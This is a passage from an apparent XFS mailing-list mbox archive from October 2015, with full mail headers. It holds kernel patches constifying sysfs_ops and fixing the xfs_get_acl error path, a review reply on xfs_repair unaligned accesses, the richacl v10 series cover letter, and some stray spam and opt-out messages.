OiByZ2IoMCwwLDApOyBNQVJHSU4tTEVGVDogMGluOyBNQVJHSU4tUklHSFQ6IDBpbjsgV09S RC1TUEFDSU5HOiAwcHg7IC13ZWJraXQtdGV4dC1zdHJva2Utd2lkdGg6IDBweCI+Q2F0YWxv ZyAscHJpY2UgbGlzdCBhbmQgc3BlY2lmaWNhdGlvbiB3aWxsIHNlbmQgeW91IGFzIHNvb24g YXMgcG9zc2libGUgaWYgeW91IG5lZWQgLjxCUj48QlI+QmVzdCBSZWdhcmRzPG86cD48L286 cD48L1A+DQo8UCBzdHlsZT0iVEVYVC1UUkFOU0ZPUk06IG5vbmU7IEJBQ0tHUk9VTkQtQ09M T1I6IHJnYigyNTUsMjU1LDI1NSk7IFRFWFQtSU5ERU5UOiAwcHg7IEZPTlQ6IDEycHQgJ1Rp bWVzIE5ldyBSb21hbicsIHNlcmlmOyBXSElURS1TUEFDRTogbm9ybWFsOyBMRVRURVItU1BB Q0lORzogbm9ybWFsOyBDT0xPUjogcmdiKDAsMCwwKTsgTUFSR0lOLUxFRlQ6IDBpbjsgTUFS R0lOLVJJR0hUOiAwaW47IFdPUkQtU1BBQ0lORzogMHB4OyAtd2Via2l0LXRleHQtc3Ryb2tl LXdpZHRoOiAwcHgiPkpNTCBsaWdodGluZyBDby4sIEx0ZC48bzpwPjwvbzpwPjwvUD4NCjxQ IHN0eWxlPSJURVhULVRSQU5TRk9STTogbm9uZTsgQkFDS0dST1VORC1DT0xPUjogcmdiKDI1 NSwyNTUsMjU1KTsgVEVYVC1JTkRFTlQ6IDBweDsgRk9OVDogMTJwdCAnVGltZXMgTmV3IFJv bWFuJywgc2VyaWY7IFdISVRFLVNQQUNFOiBub3JtYWw7IExFVFRFUi1TUEFDSU5HOiBub3Jt YWw7IENPTE9SOiByZ2IoMCwwLDApOyBNQVJHSU4tTEVGVDogMGluOyBNQVJHSU4tUklHSFQ6 IDBpbjsgV09SRC1TUEFDSU5HOiAwcHg7IC13ZWJraXQtdGV4dC1zdHJva2Utd2lkdGg6IDBw eCI+NC9GLCBGZW5nbGluIEJ1aWxkaW5nPFNQQU4gc3R5bGU9IkZPTlQtRkFNSUxZOiAnTVMg R290aGljJyI+77yMPC9TUEFOPkppblhpbmcgUm9hZCA1NTEjLCBGdXNoYW4gSW5kdXN0cmlh bCBQYXJrICxMaWFvQnUsIERvbmdHdWFuLCBHdWFuZ0RvbmcsIENoaW5hLjxTUEFOIGNsYXNz PUFwcGxlLWNvbnZlcnRlZC1zcGFjZT4mbmJzcDs8L1NQQU4+PEJSPlBvc3QgQ29kZSA6IDUy MzQwMTxvOnA+PC9vOnA+PC9QPg0KPFAgc3R5bGU9IlRFWFQtVFJBTlNGT1JNOiBub25lOyBC QUNLR1JPVU5ELUNPTE9SOiByZ2IoMjU1LDI1NSwyNTUpOyBURVhULUlOREVOVDogMHB4OyBG T05UOiAxMnB0ICdUaW1lcyBOZXcgUm9tYW4nLCBzZXJpZjsgV0hJVEUtU1BBQ0U6IG5vcm1h bDsgTEVUVEVSLVNQQUNJTkc6IG5vcm1hbDsgQ09MT1I6IHJnYigwLDAsMCk7IE1BUkdJTi1M RUZUOiAwaW47IE1BUkdJTi1SSUdIVDogMGluOyBXT1JELVNQQUNJTkc6IDBweDsgLXdlYmtp dC10ZXh0LXN0cm9rZS13aWR0aDogMHB4Ij5UZWwuOis4Ni0wNzY5LTg5MTI5Nzk5PEJSPkZh eDorODYtMDc2OS04OTEyOTc1NTwvUD48L2JvZHk+PC9odG1sPg== From Julia.Lawall@lip6.fr Sun Oct 11 05:53:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B75327F37 for ; Sun, 11 Oct 2015 05:53:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 56B3FAC001 for ; Sun, 11 Oct 2015 03:53:24 -0700 (PDT) X-ASG-Debug-ID: 1444560800-04bdf020db965d0001-NocioJ Received: from mail2-relais-roc.national.inria.fr ([192.134.164.83]) by cuda.sgi.com with ESMTP id sIbmVCl0loEweddD (version=TLSv1.2 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 11 Oct 2015 03:53:21 -0700 (PDT) X-Barracuda-Envelope-From: Julia.Lawall@lip6.fr X-Barracuda-Apparent-Source-IP: 192.134.164.83 X-IronPort-AV: E=Sophos;i="5.17,667,1437429600"; d="scan'208";a="182162086" Received: from palace.lip6.fr (HELO localhost.localdomain) ([132.227.105.202]) by mail2-relais-roc.national.inria.fr with ESMTP/TLS/AES128-SHA256; 11 Oct 2015 12:53:20 +0200 From: Julia Lawall To: Dave Chinner Cc: kernel-janitors@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org Subject: [PATCH] xfs: constify sysfs_ops structures Date: Sun, 11 Oct 2015 12:42:26 +0200 X-ASG-Orig-Subj: [PATCH] xfs: constify sysfs_ops structures Message-Id: <1444560146-22737-1-git-send-email-Julia.Lawall@lip6.fr> X-Mailer: git-send-email 1.9.1 X-Barracuda-Connect: UNKNOWN[192.134.164.83] X-Barracuda-Start-Time: 1444560801 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23389 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS These sysfs_ops structures are never modified. All other sysfs_ops structures in the kernel are declared as const. Done with the help of Coccinelle. Signed-off-by: Julia Lawall --- fs/xfs/xfs_sysfs.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/fs/xfs/xfs_sysfs.c b/fs/xfs/xfs_sysfs.c index aa03670..192c865 100644 --- a/fs/xfs/xfs_sysfs.c +++ b/fs/xfs/xfs_sysfs.c @@ -112,7 +112,7 @@ xfs_dbg_store( return xfs_attr->store ? xfs_attr->store(buf, count, NULL) : 0; } -static struct sysfs_ops xfs_dbg_ops = { +static const struct sysfs_ops xfs_dbg_ops = { .show = xfs_dbg_show, .store = xfs_dbg_store, }; @@ -227,7 +227,7 @@ xfs_log_store( return xfs_attr->store ? xfs_attr->store(buf, count, log) : 0; } -static struct sysfs_ops xfs_log_ops = { +static const struct sysfs_ops xfs_log_ops = { .show = xfs_log_show, .store = xfs_log_store, }; From agruenba@redhat.com Sun Oct 11 08:23:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id C4A747F47 for ; Sun, 11 Oct 2015 08:23:25 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A4F4D304039 for ; Sun, 11 Oct 2015 06:23:22 -0700 (PDT) X-ASG-Debug-ID: 1444569798-04bdf020dc98dd0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id laP1cNh2DMsCKSKJ (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 06:23:18 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id 01AA08E6E3; Sun, 11 Oct 2015 13:23:17 +0000 (UTC) Received: from nux.home.com (vpn1-7-171.ams2.redhat.com [10.36.7.171]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BDNFHA017280; Sun, 11 Oct 2015 09:23:16 -0400 From: Andreas Gruenbacher To: Dave Chinner , xfs@oss.sgi.com Subject: [PATCH] xfs: Fix error path in xfs_get_acl Date: Sun, 11 Oct 2015 15:23:11 +0200 X-ASG-Orig-Subj: [PATCH] xfs: Fix error path in xfs_get_acl Message-Id: <1444569791-26719-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444569798 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Error codes from xfs_attr_get other than -ENOATTR were not properly reported. Fix that, and clean the code up somewhat. In addition, the declaration of struct xfs_inode in xfs_acl.h isn't needed. Signed-off-by: Andreas Gruenbacher --- fs/xfs/xfs_acl.c | 19 +++++++------------ fs/xfs/xfs_acl.h | 1 - 2 files changed, 7 insertions(+), 13 deletions(-) diff --git a/fs/xfs/xfs_acl.c b/fs/xfs/xfs_acl.c index 4b64167..0f4ee92 100644 --- a/fs/xfs/xfs_acl.c +++ b/fs/xfs/xfs_acl.c @@ -122,7 +122,7 @@ struct posix_acl * xfs_get_acl(struct inode *inode, int type) { struct xfs_inode *ip = XFS_I(inode); - struct posix_acl *acl = NULL; + struct posix_acl *acl; struct xfs_acl *xfs_acl; unsigned char *ea_name; int error; @@ -158,18 +158,13 @@ xfs_get_acl(struct inode *inode, int type) * cache entry, for any other error assume it is transient and * leave the cache entry as ACL_NOT_CACHED. */ - if (error == -ENOATTR) - goto out_update_cache; - goto out; - } + acl = (error == -ENOATTR) ? NULL : ERR_PTR(error); + } else + acl = xfs_acl_from_disk(xfs_acl, + XFS_ACL_MAX_ENTRIES(ip->i_mount)); - acl = xfs_acl_from_disk(xfs_acl, XFS_ACL_MAX_ENTRIES(ip->i_mount)); - if (IS_ERR(acl)) - goto out; - -out_update_cache: - set_cached_acl(inode, type, acl); -out: + if (!IS_ERR(acl)) + set_cached_acl(inode, type, acl); kmem_free(xfs_acl); return acl; } diff --git a/fs/xfs/xfs_acl.h b/fs/xfs/xfs_acl.h index 3841b07..9ee0a0d 100644 --- a/fs/xfs/xfs_acl.h +++ b/fs/xfs/xfs_acl.h @@ -20,7 +20,6 @@ struct inode; struct posix_acl; -struct xfs_inode; #ifdef CONFIG_XFS_POSIX_ACL extern struct posix_acl *xfs_get_acl(struct inode *inode, int type); -- 2.5.0 From DoNotReply@beachbody.com Sun Oct 11 11:40:10 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 967EE7F37 for ; Sun, 11 Oct 2015 11:40:10 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 75E79304032 for ; Sun, 11 Oct 2015 09:40:10 -0700 (PDT) X-ASG-Debug-ID: 1444581607-04bdf020dc9c8a0001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id 4pD1TuLDeYdGXTiS (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 11 Oct 2015 09:40:08 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from vapp10.consonus.icentris.net (vapp10.consonus.icentris.net [172.18.15.223]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t9BGe7ev007140 for ; Sun, 11 Oct 2015 10:40:07 -0600 Message-ID: <1610242491.1444581607052.JavaMail.mdbodyespr@vapp10.consonus.icentris.net> Date: Sun, 11 Oct 2015 10:40:07 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444581608 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23395 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646FFFE/67 From DoNotReply@beachbody.com Sun Oct 11 11:40:13 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 5DA077F50 for ; Sun, 11 Oct 2015 11:40:13 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4C9988F8040 for ; Sun, 11 Oct 2015 09:40:10 -0700 (PDT) X-ASG-Debug-ID: 1444581606-04cbb05fc136e70001-NocioJ Received: from mail24.smtp1.icentris.com (mail24.smtp124.consonus.rev.icentris.net [66.133.124.24]) by cuda.sgi.com with ESMTP id 7S9cQuyhDH2vrnLC (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Sun, 11 Oct 2015 09:40:06 -0700 (PDT) X-Barracuda-Envelope-From: DoNotReply@beachbody.com X-Barracuda-Apparent-Source-IP: 66.133.124.24 Received: from vapp10.consonus.icentris.net (vapp10.consonus.icentris.net [172.18.15.223]) by mail24.smtp1.icentris.com (8.13.8/8.13.8) with ESMTP id t9BGdtWr006739 for ; Sun, 11 Oct 2015 10:40:06 -0600 Message-ID: <541107285.1444581595662.JavaMail.mdbodyespr@vapp10.consonus.icentris.net> Date: Sun, 11 Oct 2015 10:39:55 -0600 (MDT) From: STEVECONDER Email Opt-Out To: xfs@oss.sgi.com Subject: Removed from list Mime-Version: 1.0 X-ASG-Orig-Subj: Removed from list Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mail24.smtp124.consonus.rev.icentris.net[66.133.124.24] X-Barracuda-Start-Time: 1444581606 X-Barracuda-Encrypted: DHE-RSA-AES256-SHA X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23395 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Your email address, xfs@oss.sgi.com, will no longer receive email messages sent from STEVE CONDER < steveconder@beachbodycoach.com >. If you would like to receive email messages from STEVE CONDER < steveconder@beachbodycoach.com > again please visit http://beachbodycoach.com/esuite/url/646FFF3/1F2 From david@fromorbit.com Sun Oct 11 17:26:45 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3D85C7F37 for ; Sun, 11 Oct 2015 17:26:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DE76CAC001 for ; Sun, 11 Oct 2015 15:26:41 -0700 (PDT) X-ASG-Debug-ID: 1444602399-04bdf020daa1360001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id Cb6SMHs7V4EWHF4h for ; Sun, 11 Oct 2015 15:26:39 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DtCQCT4RpWPCSkLHlegyaBQoZbojUBAQEBAQEGixuFGoYKgxOCCnkCAgEBAoEbTQEBAQEBAQcBAQEBQT+EJwEBBDocIxAIAxgJJQ8FJQMHGhOILbwgAQEBBwIBHxmGE4VFhQ0HhC4FhzyOV40SjySMZ4JxIIFoKjOHagEBAQ Received: from ppp121-44-164-36.lns20.syd7.internode.on.net (HELO dastard) ([121.44.164.36]) by ipmail04.adl6.internode.on.net with ESMTP; 12 Oct 2015 08:56:19 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZlP4M-0005we-RR; Mon, 12 Oct 2015 09:26:18 +1100 Date: Mon, 12 Oct 2015 09:26:18 +1100 From: Dave Chinner To: Eric Sandeen Cc: xfs@oss.sgi.com Subject: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses Message-ID: <20151011222618.GX27164@dastard> X-ASG-Orig-Subj: Re: [PATCH 2/4] xfs_repair: fix unaligned accesses References: <56170906.5090301@redhat.com> <56170974.5020604@sandeen.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <56170974.5020604@sandeen.net> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444602399 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23401 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Oct 08, 2015 at 07:25:24PM -0500, Eric Sandeen wrote: > This fixes some unaligned accesses spotted by libubsan in repair. > > Signed-off-by: Eric Sandeen > --- > repair/dinode.c | 19 +++++++++---------- > repair/prefetch.c | 4 ++-- > 2 files changed, 11 insertions(+), 12 deletions(-) > > diff --git a/repair/dinode.c b/repair/dinode.c > index f78f907..44bbb8f 100644 > --- a/repair/dinode.c > +++ b/repair/dinode.c > @@ -960,13 +960,13 @@ _("bad numrecs 0 in inode %" PRIu64 " bmap btree root block\n"), > * btree, we'd do it right here. For now, if there's a > * problem, we'll bail out and presumably clear the inode. > */ > - if (!verify_dfsbno(mp, be64_to_cpu(pp[i]))) { > + if (!verify_dfsbno(mp, get_unaligned_be64(&pp[i]))) { I don't understand - when are pointers in the BMBT not 64 bit aligned? The buffers are allocated by memalign to be 64 bit aligned, and all the internal BMBT structures are 64 bit aligned, too. i.e the BMBT block header is 24/72 bytes in length (depending on CRCs), the pointers are 64 bit, and the records are 128 bit. So where's the unaligned access coming from? Cheers, Dave. -- Dave Chinner david@fromorbit.com From andreas.gruenbacher@gmail.com Sun Oct 11 17:59:17 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 215D67F37 for ; Sun, 11 Oct 2015 17:59:17 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id E87598F8049 for ; Sun, 11 Oct 2015 15:59:13 -0700 (PDT) X-ASG-Debug-ID: 1444604352-04bdf020daa1a40001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id CMK7oKmAKKhFEeFo (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Sun, 11 Oct 2015 15:59:12 -0700 (PDT) X-Barracuda-Envelope-From: andreas.gruenbacher@gmail.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx13.intmail.prod.int.phx2.redhat.com (int-mx13.intmail.prod.int.phx2.redhat.com [10.5.11.26]) by mx1.redhat.com (Postfix) with ESMTPS id 3079A8EA37; Sun, 11 Oct 2015 22:59:11 +0000 (UTC) Received: from nuc.home.com (vpn1-7-138.ams2.redhat.com [10.36.7.138]) by int-mx13.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9BMx36O016614; Sun, 11 Oct 2015 18:59:04 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Cc: Andreas Gruenbacher Subject: [PATCH v10 00/46] Richacls Date: Mon, 12 Oct 2015 00:58:11 +0200 X-ASG-Orig-Subj: [PATCH v10 00/46] Richacls Message-Id: <1444604337-17651-1-git-send-email-andreas.gruenbacher@gmail.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.26 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1444604352 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 From: Andreas Gruenbacher Here is another update of the richacl patch queue. I would like to ask for feedback so that the core and local filesystem code (patches 1-24) can be merged in the 4.4 merge window. Changes since the last posting (https://lwn.net/Articles/659350/): * Support for xfs; this depends on a new incompatible feature flag. The user-space changes can be found here: https://github.com/andreas-gruenbacher/xfsprogs.git * ext4: Update ctime when setting a mode-equivalent richacl. * The richacl_inherit_inode and richacl_create helpers now take a umode_t argument instead of an inode (xfs uses richacl_create before creating an inode). Some other minor changes. The complete patch queue is available here: git://git.kernel.org/pub/scm/linux/kernel/git/agruen/linux-richacl.git \ richacl-2015-10-12 The richacl user-space utilitites and test suite are available here: https://github.com/andreas-gruenbacher/richacl/ Some more information is avaliable here: http://www.bestbits.at/richacl/ We still have two open issues in nfs, but those only affect nfs. Thanks, Andreas Andreas Gruenbacher (44): vfs: Add IS_ACL() and IS_RICHACL() tests vfs: Add MAY_CREATE_FILE and MAY_CREATE_DIR permission flags vfs: Add MAY_DELETE_SELF and MAY_DELETE_CHILD permission flags vfs: Make the inode passed to inode_change_ok non-const vfs: Add permission flags for setting file attributes richacl: In-memory representation and helper functions richacl: Permission mapping functions richacl: Compute maximum file masks from an acl richacl: Permission check algorithm vfs: Cache base_acl objects in inodes vfs: Add get_richacl and set_richacl inode operations vfs: Cache richacl in struct inode richacl: Update the file masks in chmod() richacl: Check if an acl is equivalent to a file mode richacl: Create-time inheritance richacl: Automatic Inheritance richacl: xattr mapping functions richacl: Add richacl xattr handler vfs: Add richacl permission checking xfs: Fix error path in xfs_get_acl xfs: Make xfs_set_mode non-static xfs: Add richacl support richacl: acl editing helper functions richacl: Move everyone@ aces down the acl richacl: Propagate everyone@ permissions to other aces richacl: Set the owner permissions to the owner mask richacl: Set the other permissions to the other mask richacl: Isolate the owner and group classes richacl: Apply the file masks to a richacl richacl: Create richacl from mode values nfsd: Keep list of acls to dispose of in compoundargs nfsd: Use richacls as internal acl representation nfsd: Add richacl support nfsd: Add support for the v4.1 dacl attribute nfsd: Add support for the MAY_CREATE_{FILE,DIR} permissions richacl: Add support for unmapped identifiers ext4: Don't allow unmapped identifiers in richacls sunrpc: Allow to demand-allocate pages to encode into sunrpc: Add xdr_init_encode_pages nfs: Fix GETATTR bitmap verification nfs: Remove unused xdr page offsets in getacl/setacl arguments nfs: Add richacl support nfs: Add support for the v4.1 dacl attribute richacl: uapi header split Aneesh Kumar K.V (2): ext4: Add richacl support ext4: Add richacl feature flag drivers/staging/lustre/lustre/llite/llite_lib.c | 2 +- fs/Kconfig | 9 + fs/Makefile | 3 + fs/attr.c | 81 ++- fs/ext4/Kconfig | 11 + fs/ext4/Makefile | 1 + fs/ext4/ext4.h | 6 +- fs/ext4/file.c | 3 + fs/ext4/ialloc.c | 7 +- fs/ext4/inode.c | 10 +- fs/ext4/namei.c | 5 + fs/ext4/richacl.c | 133 ++++ fs/ext4/richacl.h | 42 ++ fs/ext4/super.c | 42 +- fs/ext4/xattr.c | 7 + fs/f2fs/acl.c | 4 +- fs/inode.c | 15 +- fs/jffs2/acl.c | 6 +- fs/namei.c | 111 ++- fs/nfs/inode.c | 3 - fs/nfs/nfs4proc.c | 701 +++++++++++++----- fs/nfs/nfs4xdr.c | 257 ++++++- fs/nfs/super.c | 4 +- fs/nfs_common/Makefile | 1 + fs/nfs_common/nfs4acl.c | 44 ++ fs/nfsd/Kconfig | 1 + fs/nfsd/acl.h | 23 +- fs/nfsd/nfs4acl.c | 482 +++++++------ fs/nfsd/nfs4proc.c | 25 +- fs/nfsd/nfs4xdr.c | 268 ++++--- fs/nfsd/nfsd.h | 6 +- fs/nfsd/nfsfh.c | 8 +- fs/nfsd/vfs.c | 28 +- fs/nfsd/vfs.h | 17 +- fs/nfsd/xdr4.h | 12 +- fs/posix_acl.c | 26 +- fs/richacl_base.c | 685 ++++++++++++++++++ fs/richacl_compat.c | 915 ++++++++++++++++++++++++ fs/richacl_inode.c | 333 +++++++++ fs/richacl_xattr.c | 345 +++++++++ fs/xattr.c | 34 +- fs/xfs/Kconfig | 11 + fs/xfs/Makefile | 1 + fs/xfs/libxfs/xfs_format.h | 16 +- fs/xfs/xfs_acl.c | 37 +- fs/xfs/xfs_acl.h | 1 - fs/xfs/xfs_inode.c | 18 + fs/xfs/xfs_inode.h | 2 + fs/xfs/xfs_iops.c | 42 +- fs/xfs/xfs_richacl.c | 97 +++ fs/xfs/xfs_richacl.h | 34 + fs/xfs/xfs_super.c | 14 +- fs/xfs/xfs_super.h | 9 +- fs/xfs/xfs_xattr.c | 4 + include/linux/fs.h | 51 +- include/linux/nfs4.h | 24 +- include/linux/nfs4acl.h | 7 + include/linux/nfs_fs.h | 1 - include/linux/nfs_fs_sb.h | 2 + include/linux/nfs_xdr.h | 13 +- include/linux/posix_acl.h | 12 +- include/linux/richacl.h | 276 +++++++ include/linux/richacl_compat.h | 40 ++ include/linux/richacl_xattr.h | 49 ++ include/linux/sunrpc/xdr.h | 2 + include/uapi/linux/Kbuild | 2 + include/uapi/linux/fs.h | 3 +- include/uapi/linux/nfs4.h | 3 +- include/uapi/linux/richacl.h | 111 +++ include/uapi/linux/richacl_xattr.h | 43 ++ include/uapi/linux/xattr.h | 2 + net/sunrpc/xdr.c | 34 + 72 files changed, 4916 insertions(+), 761 deletions(-) create mode 100644 fs/ext4/richacl.c create mode 100644 fs/ext4/richacl.h create mode 100644 fs/nfs_common/nfs4acl.c create mode 100644 fs/richacl_base.c create mode 100644 fs/richacl_compat.c create mode 100644 fs/richacl_inode.c create mode 100644 fs/richacl_xattr.c create mode 100644 fs/xfs/xfs_richacl.c create mode 100644 fs/xfs/xfs_richacl.h create mode 100644 include/linux/nfs4acl.h create mode 100644 include/linux/richacl.h create mode 100644 include/linux/richacl_compat.h create mode 100644 include/linux/richacl_xattr.h create mode 100644 include/uapi/linux/richacl.h create mode 100644 include/uapi/linux/richacl_xattr.h -- 2.5.0 From andreas.gruenbacher@gmail.com Sun Oct 11 17:59:21 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on 